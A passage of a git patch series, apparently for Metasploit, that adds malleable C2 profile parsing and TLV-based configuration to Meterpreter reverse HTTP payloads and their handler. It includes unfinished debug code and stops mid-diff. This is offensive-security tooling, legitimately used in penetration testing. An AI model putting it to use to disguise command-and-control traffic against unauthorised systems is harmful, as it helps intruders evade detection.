From 5025992eafde5cab15a6dfabd5cd4dcc1ca73bb7 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 7 Jul 2025 13:27:03 +1000 Subject: [PATCH 01/21] First pass of TLV-based configuration and MC2 Munged a few commits into this one. But we have basic support for TLV-based configuration blocks instead of hard-coded block sizes. Initial support for the MC2 stuff is in as well, but more to come. --- lib/msf/core/handler/reverse_http.rb | 3 +- lib/msf/core/opt.rb | 2 - lib/msf/core/payload/malleable_c2.rb | 361 ++++++++++++++++++ lib/msf/core/payload/transport_config.rb | 1 + lib/rex/payloads/meterpreter/config.rb | 154 ++++---- lib/rex/post/meterpreter/packet.rb | 57 ++- .../windows/meterpreter_reverse_http.rb | 2 + 7 files changed, 480 insertions(+), 100 deletions(-) create mode 100644 lib/msf/core/payload/malleable_c2.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d6c4bb26d5358..8339758fd3ed6 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -70,8 +70,7 @@ def initialize(info = {}) OptString.new('HttpUserAgent', 'The user-agent that the payload should use for communication', default: Rex::UserAgent.random, - aliases: ['MeterpreterUserAgent'], - max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1 + aliases: ['MeterpreterUserAgent'] ), OptString.new('HttpServerName', 'The server header that the handler will send in response to requests', diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 81e479e585eb3..5a41c1bf72182 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -85,11 +85,9 @@ def self.http_proxy_options ), OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser'], - max_length: Rex::Payloads::Meterpreter::Config::PROXY_USER_SIZE - 1 ), OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass'], - max_length: Rex::Payloads::Meterpreter::Config::PROXY_PASS_SIZE - 1 ), OptEnum.new('HttpProxyType', 'The type of HTTP proxy', enums: ['HTTP', 'SOCKS'], diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb new file mode 100644 index 0000000000000..e6516f0b17858 --- /dev/null +++ b/lib/msf/core/payload/malleable_c2.rb @@ -0,0 +1,361 @@ +# -*- coding: binary -*- + +## +# This module contains helper functions for parsing and loading malleable +# C2 profiles into ruby objects. +## + +require 'strscan' +require 'rex/post/meterpreter/packet' + +module Msf::Payload::MalleableC2 + + MET = Rex::Post::Meterpreter + + class Token + attr_reader :type, :value + + def initialize(type, value) + @type = type + @value = value + end + end + + class Lexer + + attr_reader :tokens + + BLOCK_KEYWORDS = %w[ + client + http-get + http-post + http-stager + https-certificate + id + metadata + output + server + stage + transform-x64 + transform-x86 + ] + + OTHER_KEYWORDS = %w[ + add + append + base64 + base64url + dns + encode_hex + header + hostport + mask + netbios + netbiosu + parameter + prepend + print + remove + set + string + stringw + strrep + transform + unset + uri + uri-append + uri-query + xor + ] + + def initialize(file) + #@text = text + @tokens = [] + tokenize(File.read(file)) + end + + def is_block_keyword?(word) + BLOCK_KEYWORDS.include?(word) + end + + def tokenize(text) + scanner = StringScanner.new(text) + + until scanner.eos? + if scanner.scan(/\s+/) + # blank line + next + elsif scanner.scan(/^\s*#.*$/) + # comment + next + elsif scanner.scan(/\"(\\.|[^"])*\"/) + #@tokens << Token.new(:string, scanner.matched[1..-2]) + @tokens << Token.new(:string, scanner.matched[1..-2]) + elsif scanner.scan(/[a-zA-Z0-9_\-\.\/]+/) + word = scanner.matched + type = BLOCK_KEYWORDS.union(OTHER_KEYWORDS).include?(word) ? :keyword : :identifier + @tokens << Token.new(type, word) + elsif scanner.scan(/[{};]/) + @tokens << Token.new(:symbol, scanner.matched) + else + raise "Unexpected token near: #{scanner.peek(20)}" + end + end + end + end + + class ParsedProfile + attr_accessor :sets, :sections + + def initialize + @sets = [] + @sections = [] + end + + def get_set(key) + val = @sets.find {|s| s.key == key.downcase}&.value + if block_given? && !val.nil? + yield(val) + end + val + end + + def get_section(name) + sec = @sections.find {|s| s.name == name.downcase} + if block_given? && !sec.nil? + yield(sec) + end + sec + end + + def to_tlv + tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) + + self.get_set('useragent') {|ua| tlv.add_tlv(MET::TLV_TYPE_C2_UA, ua)} + c2_uri = self.get_set('uri') + + self.get_section('http-get') {|http_get| + get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET) + get_uri = http_get.get_set('uri') || c2_uri + http_get.get_section('client') {|client| self.add_http_tlv(get_uri, client, get_tlv)} + # TODO: add client config to server and vice versa + tlv.tlvs << get_tlv + } + + self.get_section('http-post') {|http_post| + post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST) + post_uri = http_post.get_set('uri') || c2_uri + http_post.get_section('client') {|client| + # TODO: add client config to server and vice versa + self.add_http_tlv(post_uri, client, post_tlv) + + client.get_section('output') {|client_output| + enc_flags = 0 + enc_flags |= MET::C2_ENCODING_FLAG_B64 if client_output.has_directive('base64') + enc_flags |= MET::C2_ENCODING_FLAG_B64URL if client_output.has_directive('base64url') + post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 + + prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.reverse.join("") + post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? + append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") + post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? + } + } + + tlv.tlvs << post_tlv + } + + tlv + end + + def add_http_tlv(base_uri, section, group_tlv) + section.get_set('useragent') {|v| group_tlv.add_tlv(MET::TLV_TYPE_C2_UA, v)} + + self.add_uri(base_uri, section, group_tlv) + self.add_header(section, group_tlv) + end + + def add_header(section, group_tlv) + headers = section.get_directive('header').map {|dir| "#{dir.args[0]}: #{dir.args[1]}"}.join("\r\n") + group_tlv.add_tlv(MET::TLV_TYPE_C2_OTHER_HEADERS, headers) unless headers.empty? + headers + end + + def add_uri(base_uri, section, group_tlv) + uri = base_uri || "" + query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&") + unless query_string.empty? + uri << "?" + uri << query_string + end + group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) unless uri.empty? + uri + end + end + + class ParsedSet + attr_accessor :key, :value + def initialize(key, value) + @key = key.downcase + @value = value + end + end + + class ParsedSection + attr_accessor :name, :entries, :sections + def initialize(name) + @name = name.downcase + @entries = [] + @sections = [] + end + + def get_set(key) + val = @entries.find {|s| s.kind_of?(ParsedSet) && s.key == key.downcase}&.value + if block_given? && !val.nil? + yield(val) + end + val + end + + def get_directive(type) + # there can be multiple instances of the same directive type so we have + # to return an array instead of a single instance + @entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase} + end + + def has_directive(type) + @entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase}.length > 0 + end + + def get_section(name) + sec = @sections.find {|s| s.name == name.downcase} + if block_given? && !sec.nil? + yield(sec) + end + sec + end + end + + class ParsedDirective + attr_accessor :type, :args + def initialize(type, args) + @type = type.downcase + @args = args + end + end + + class Parser + attr_reader :lexer + + def initialize + @lexer = nil + end + + def parse(file) + @lexer = Lexer.new(file) + @index = 0 + profile = ParsedProfile.new + + while current_token + if match_keyword('set') + profile.sets << parse_set + elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value) + profile.sections << parse_section + else + raise "Unexpected token at tope level: #{current_token.type}=#{current_token.value}" + end + end + + #@lexer = nil + profile + end + + def parse_set + expect_keyword('set') + key = expect([:identifier, :keyword]).value + value = expect(:string).value + expect_symbol(';') + ParsedSet.new(key, value) + end + + def parse_section + name = expect(:keyword).value + expect_symbol('{') + section = ParsedSection.new(name) + + while !match_symbol('}') && current_token + if match_keyword('set') + section.entries << parse_set + elsif current_token.type == :keyword + if @lexer.is_block_keyword?(current_token.value) + section.sections << parse_section + else + section.entries << parse_directive + end + else + raise "Unexpected content in block #{name}: #{current_token.value}" + end + end + + expect_symbol('}') + section + end + + def parse_directive + type = expect(:keyword).value + args = [] + while current_token && !match_symbol(';') + if [:string, :identifier, :keyword].include?(current_token.type) + args << current_token.value + next_token + else + break + end + end + expect_symbol(';') + ParsedDirective.new(type, args) + end + + def current_token + @lexer.tokens[@index] + end + + def next_token + @index += 1 + current_token + end + + def expect(types) + token = current_token + types = [types] unless types.kind_of?(Array) + raise "Expected #{types.inspect}, got #{token&.type}=#{token&.value}" unless token && types.include?(token.type) + next_token + token + end + + def expect_keyword(word) + token = current_token + raise "Expected keyword '#{word}', got #{token&.value}" unless token && token.type == :keyword && token.value == word + next_token + token + end + + def expect_symbol(symbol) + token = current_token + raise "Expected symbol '#{symbol}', got #{token&.value}" unless token && token.type == :symbol && token.value == symbol + next_token + token + end + + def match_keyword(word) + token = current_token + token && token.type == :keyword && token.value == word + end + + def match_symbol(symbol) + token = current_token + token && token.type == :symbol && token.value == symbol + end + end + +end diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index a2acc8a229ef0..2dd7943a591a1 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -96,6 +96,7 @@ def transport_config_reverse_http(opts={}) host: ds['HttpHostHeader'], cookie: ds['HttpCookie'], referer: ds['HttpReferer'], + c2_profile: opts[:c2_profile], custom_headers: get_custom_headers(ds) }.merge(timeout_config(opts)) end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 91e307abb1f0a..b63139c63824f 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -1,18 +1,15 @@ # -*- coding: binary -*- require 'rex/socket/x509_certificate' require 'rex/post/meterpreter/extension_mapper' +require 'rex/post/meterpreter/packet' +require 'msf/core/payload/malleable_c2' require 'securerandom' + class Rex::Payloads::Meterpreter::Config include Msf::ReflectiveDLLLoader - URL_SIZE = 512 - UA_SIZE = 256 - PROXY_HOST_SIZE = 128 - PROXY_USER_SIZE = 64 - PROXY_PASS_SIZE = 64 - CERT_HASH_SIZE = 20 - LOG_PATH_SIZE = 260 # https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=cmd + MET = Rex::Post::Meterpreter def initialize(opts={}) @opts = opts @@ -49,8 +46,9 @@ def to_ascii(item, size) item.to_s.ljust(size, "\x00") end - def session_block(opts) + def add_session_tlv(tlv, opts) uuid = opts[:uuid].to_raw + STDERR.puts("UUID: #{uuid.inspect}\n") exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] # if no session guid is given then we'll just pass the blank @@ -60,23 +58,19 @@ def session_block(opts) else session_guid = [SecureRandom.uuid.gsub('-', '')].pack('H*') end - session_data = [ - 0, # comms socket, patched in by the stager - exit_func, # exit function identifier - opts[:expiration], # Session expiry - uuid, # the UUID - session_guid, # the Session GUID - ] - pack_string = 'QVVA*A*' - if opts[:debug_build] - session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target - pack_string << 'A*' - end - session_data.pack(pack_string) + tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) + STDERR.puts("Sess Exp: #{opts[:expiration]}\n") + tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration]) + tlv.add_tlv(MET::TLV_TYPE_UUID, uuid) + tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid) + + if opts[:debug_build] && opts[:log_path] + tlv.add_tlv(MET::TLV_TYPE_DEBUG_LOG, opts[:log_path]) + end end - def transport_block(opts) + def add_c2_tlv(tlv, opts) # Build the URL from the given parameters, and pad it out to the # correct size lhost = opts[:lhost] @@ -84,21 +78,31 @@ def transport_block(opts) lhost = "[#{lhost}]" end + unless (opts[:c2_profile] || '').empty? + parser = Msf::Payload::MalleableC2::Parser.new + profile = parser.parse(opts[:c2_profile]) + c2_tlv = profile.to_tlv + else + c2_tlv= MET::GroupTlv.new(MET::TLV_TYPE_C2) + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) + + # TODO: make sure all header types/etc are covered. + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? + end + url = "#{opts[:scheme]}://#{lhost}" url << ":#{opts[:lport]}" if opts[:lport] url << "#{opts[:uri]}/" if opts[:uri] url << "?#{opts[:scope_id]}" if opts[:scope_id] - # if the transport URI is for a HTTP payload we need to add a stack - # of other stuff - pack = 'A*VVV' - transport_data = [ - to_str(url, URL_SIZE), # transport URL - opts[:comm_timeout], # communications timeout - opts[:retry_total], # retry total time - opts[:retry_wait] # retry wait time - ] + c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) + # if the transport URI is for a HTTP payload we need to add a stack + # of other stuff that can only be set in MSF, not in the C2 profile if url.start_with?('http') proxy_host = '' if opts[:proxy_host] && opts[:proxy_port] @@ -106,90 +110,60 @@ def transport_block(opts) prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" end - proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE) - proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE) - proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE) - ua = to_str(opts[:ua] || '', UA_SIZE) - - cert_hash = "\x00" * CERT_HASH_SIZE - cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] - - custom_headers = opts[:custom_headers] || '' - custom_headers = to_str(custom_headers, custom_headers.length + 1) - - # add the HTTP specific stuff - transport_data << proxy_host # Proxy host name - transport_data << proxy_user # Proxy user name - transport_data << proxy_pass # Proxy password - transport_data << ua # HTTP user agent - transport_data << cert_hash # SSL cert hash for verification - transport_data << custom_headers # any custom headers that the client needs - - # update the packing spec - pack << 'A*A*A*A*A*A*' + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_HOST, proxy_host) unless (proxy_host || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADER, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? end - # return the packed transport information - transport_data.pack(pack) + tlv.tlvs << c2_tlv end - def extension_block(ext_name, file_extension, debug_build: false) + def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false) ext_name = ext_name.strip.downcase ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", file_extension, debug: debug_build)) - [ ext.length, ext ].pack('VA*') - end - - def extension_init_block(name, value) - ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name) - - # for now, we're going to blindly assume that the value is a path to a file - # which contains the data that gets passed to the extension - content = ::File.read(value, mode: 'rb') + "\x00\x00" - data = [ - ext_id, - content.length, - content - ] - - data.pack('VVA*') + ext_tlv = MET::GroupTlv.new(MET::TLV_TYPE_EXTENSION) + ext_tlv.add_tlv(MET::TLV_TYPE_DATA, ext) + unless (ext_init_path || '').empty? + ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(ext_name) + init_data = ::File.read(ext_init_path, mode: 'rb') + ext_tlv.add_tlv(MET::TLV_TYPE_STRING, init_data) unless (init_data || '').empty? + ext_tlv.add_tlv(MET::TLV_META_TYPE_UINT, ext_id) + end + tlv.tlvs << ext_tlv end def config_block # start with the session information - config = session_block(@opts) + config_packet = MET::Packet.create_config() + add_session_tlv(config_packet, @opts) # then load up the transport configurations (@opts[:transports] || []).each do |t| - config << transport_block(t) + add_c2_tlv(config_packet, t) end - # terminate the transports with NULL (wchar) - config << "\x00\x00" - # configure the extensions - this will have to change when posix comes # into play. file_extension = 'x86.dll' file_extension = 'x64.dll' unless is_x86? - (@opts[:extensions] || []).each do |e| - config << extension_block(e, file_extension, debug_build: @opts[:debug_build]) - end - - # terminate the extensions with a 0 size - config << [0].pack('V') + ext_inits = (@opts[:ext_init] || '').split(':').map{|v| v.split(',')}.to_h{|l| l} - # wire in the extension init data - (@opts[:ext_init] || '').split(':').each do |cfg| - name, value = cfg.split(',') - config << extension_init_block(name, value) + (@opts[:extensions] || []).each do |e| + add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) end - # terminate the ext init config with -1 - config << "\xFF\xFF\xFF\xFF" + # comms handle needs to have space added, as this is where things are patched by the stager + comms_handle = "\x00" * 8 + config_bytes = config_packet.to_r + STDERR.puts("Config block length: #{config_bytes.length}\n#{config_bytes.inspect}\n") - # and we're done - config + comms_handle + config_bytes end end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index a3823579da95a..3fe63a203dba3 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -11,6 +11,7 @@ module Meterpreter # PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 +PACKET_TYPE_CONFIG = 2 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 @@ -121,6 +122,40 @@ module Meterpreter TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651 TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653 +# +# Configuration options +# +TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time +TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use +TLV_TYPE_DEBUG_LOG = TLV_META_TYPE_STRING | 702 # path to write debug log +TLV_TYPE_EXTENSION = TLV_META_TYPE_GROUP | 703 # Group containing extension info +TLV_TYPE_C2 = TLV_META_TYPE_GROUP | 704 # a C2/transport grouping +TLV_TYPE_C2_COMM_TIMEOUT = TLV_META_TYPE_UINT | 705 # the timeout for this C2 group +TLV_TYPE_C2_RETRY_TOTAL = TLV_META_TYPE_UINT | 706 # number of times to retry this C2 +TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts +TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri) +TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any +TLV_TYPE_C2_PROXY_HOST = TLV_META_TYPE_STRING | 710 # Host name of proxy +TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name +TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password +TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests +TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests +TLV_TYPE_C2_OTHER_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers +TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent +TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash +TLV_TYPE_C2_PREFIX = TLV_META_TYPE_STRING | 718 # Data to prepend to the outgoing payload +TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_STRING | 719 # Data to append to the outgoing payload +TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_SKIP_COUNT = TLV_META_TYPE_UINT | 721 # Number of bytes of the incoming payload to ignore before parsing +TLV_TYPE_C2_REFERRER = TLV_META_TYPE_STRING | 722 # Referrer string +TLV_TYPE_C2_ACCEPT_TYPES = TLV_META_TYPE_STRING | 723 # Accept types string + +# +# C2 Encoding flags +# +C2_ENCODING_FLAG_B64 = (1 << 0) # straight Base64 encoding +C2_ENCODING_FLAG_B64URL = (1 << 1) # encoding Base64 with URL-safe values +C2_ENCODING_FLAG_URL = (1 << 2) # straight URL encoding # # Core flags @@ -816,6 +851,10 @@ class Packet < GroupTlv # ## + def Packet.create_config() + Packet.new(PACKET_TYPE_CONFIG) + end + # # Creates a request with the supplied method. # @@ -945,17 +984,23 @@ def aes_decrypt(key, iv, data) # def to_r(session_guid = nil, key = nil) xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + # for debugging purposes + xor_key = "\x00" * 4 raw = (session_guid || NULL_GUID).dup tlv_data = GroupTlv.instance_method(:to_r).bind(self).call - if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) - # encrypt the data, but not include the length and type - iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) - # now manually add the length/type/iv/ciphertext - raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*') - else + if @type == PACKET_TYPE_CONFIG raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') + else + if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) + # encrypt the data, but not include the length and type + iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) + # now manually add the length/type/iv/ciphertext + raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*') + else + raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') + end end # return the xor'd result with the key diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index f0e6f519768fc..e45a4888c4713 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { From 3ccd8e5b14fe5a63aeec0e99101fd9cbcd36189b Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 10 Jul 2025 10:46:27 +1000 Subject: [PATCH 02/21] "Working" C2 sessions with diff GET/POST uris Still don't have all the fields implemented, but this at least supports the notion of having different URIs for GET and POST. The approach taken, to reduce the impact on how much code has to be changed, is to extract the UUID for the connection and use that as a resource identifier. This UUID doesn't have any slashes in it, and hence will not collide with any URI. This means we can use the UUID as a key in the same hash as the resource URIs knowing that a direct lookup will find the right session, even if by some miracle the UUID collides with a chosen/generated URI. Any URI in the resource list will be prefixed with a forward slash. The listener will listen on all URIs that exist for the Meterp configuration, including LURI setting, and the `uri` values in all three areas that it might be specified in the C2 profile. --- lib/msf/core/handler/reverse_http.rb | 73 +++++++++++++------ lib/msf/core/payload/malleable_c2.rb | 40 +++++++++- lib/rex/payloads/meterpreter/uri_checksum.rb | 35 ++++++--- lib/rex/post/meterpreter/packet.rb | 7 +- lib/rex/post/meterpreter/packet_dispatcher.rb | 16 ++-- lib/rex/proto/http/server.rb | 39 ++++++---- 6 files changed, 155 insertions(+), 55 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 8339758fd3ed6..6860d2389a719 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -179,26 +179,43 @@ def scheme (ssl?) ? 'https' : 'http' end - # The local URI for the handler. - # - # @return [String] Representation of the URI to listen on. - def luri - l = datastore['LURI'] || "" + def construct_luri(base_uri) - if l && l.length > 0 + if base_uri && base_uri.length > 0 # strip trailing slashes - while l[-1, 1] == '/' - l = l[0...-1] + while base_uri[-1, 1] == '/' + base_uri = base_uri[0...-1] end # make sure the luri has the prefix - if l[0, 1] != '/' - l = "/#{l}" + if base_uri[0, 1] != '/' + base_uri = "/#{base_uri}" end end - l.dup + base_uri.dup + end + + # The local URI for the handler. + # + # @return [String] Representation of the URI to listen on. + def luri + construct_luri(datastore['LURI'] || "") + end + + def all_uris + all = [luri] + c2_profile = datastore['MALLEABLEC2'] || '' + + unless c2_profile.empty? + parser = Msf::Payload::MalleableC2::Parser.new + profile = parser.parse(c2_profile) + uris = profile.uris.map {|u| construct_luri(u)} + all.push(*uris) + end + + all end # Create an HTTP listener @@ -238,11 +255,14 @@ def setup_handler self.service.server_name = datastore['HttpServerName'] # Add the new resource - service.add_resource((luri + "/").gsub("//", "/"), - 'Proc' => Proc.new { |cli, req| - on_request(cli, req) - }, - 'VirtualDirectory' => true) + all_uris.each {|u| + r = (u + "/").gsub("//", "/") + service.add_resource(r, + 'Proc' => Proc.new { |cli, req| + on_request(cli, req) + }, + 'VirtualDirectory' => true) + } print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}") lookup_proxy_settings @@ -258,7 +278,10 @@ def setup_handler # def stop_handler if self.service - self.service.remove_resource((luri + "/").gsub("//", "/")) + all_uris.each {|u| + r = (u + "/").gsub("//", "/") + self.service.remove_resource(r) + } self.service.deref self.service = nil end @@ -313,6 +336,12 @@ def lookup_proxy_settings def on_request(cli, req) Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new + + # TODO OJ - look for C2 profile, if associated, get settings to see if + # UUID is stashed in other locations like cookies/headers. This might + # have to happen during the resource lookup instead of here, and + # when on_request is called we pass the UUID in, if found + info = process_uri_resource(req.relative_resource) uuid = info[:uuid] @@ -322,6 +351,9 @@ def on_request(cli, req) uuid.platform ||= self.platform conn_id = luri + + request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" + if info[:mode] && info[:mode] != :connect conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid) else @@ -329,8 +361,6 @@ def on_request(cli, req) conn_id = conn_id.chomp('/') end - request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" - # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if framework.db.active db_uuid = framework.db.payloads({ uuid: uuid.puid_hex }).first @@ -405,7 +435,7 @@ def on_request(cli, req) end end - create_session(cli, { + session_opts = { :passive_dispatcher => self.service, :dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher], :conn_id => conn_id, @@ -416,8 +446,9 @@ def on_request(cli, req) :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, :payload_uuid => uuid - }) + } + create_session(cli, session_opts) else unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode]) print_status("Unknown request to #{request_summary}") diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index e6516f0b17858..01a44fd7f2491 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -128,6 +128,24 @@ def get_section(name) sec end + def uris + base_uri = self.get_set('uri') + get_uri = nil + post_uri = nil + + self.get_section('http-get') {|http_get| + get_uri = http_get.get_set('uri') + } + self.get_section('http-post') {|http_post| + post_uri = http_post.get_set('uri') + } + STDERR.puts("base uri: #{base_uri}\n") + STDERR.puts("get uri: #{get_uri}\n") + STDERR.puts("post uri: #{post_uri}\n") + + [base_uri, get_uri, post_uri].compact + end + def to_tlv tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) @@ -137,7 +155,19 @@ def to_tlv self.get_section('http-get') {|http_get| get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET) get_uri = http_get.get_set('uri') || c2_uri - http_get.get_section('client') {|client| self.add_http_tlv(get_uri, client, get_tlv)} + http_get.get_section('client') {|client| + self.add_http_tlv(get_uri, client, get_tlv) + client.get_section('metadata') {|meta| + enc_flags = 0 + enc_flags |= MET::C2_ENCODING_FLAG_B64 if meta.has_directive('base64') + enc_flags |= MET::C2_ENCODING_FLAG_B64URL if meta.has_directive('base64url') + + get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0]) if meta.has_directive('parameter') + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0]) if meta.has_directive('header') + # assume uri-append for POST otherwise. + } + } # TODO: add client config to server and vice versa tlv.tlvs << get_tlv } @@ -153,6 +183,7 @@ def to_tlv enc_flags = 0 enc_flags |= MET::C2_ENCODING_FLAG_B64 if client_output.has_directive('base64') enc_flags |= MET::C2_ENCODING_FLAG_B64URL if client_output.has_directive('base64url') + post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.reverse.join("") @@ -160,6 +191,13 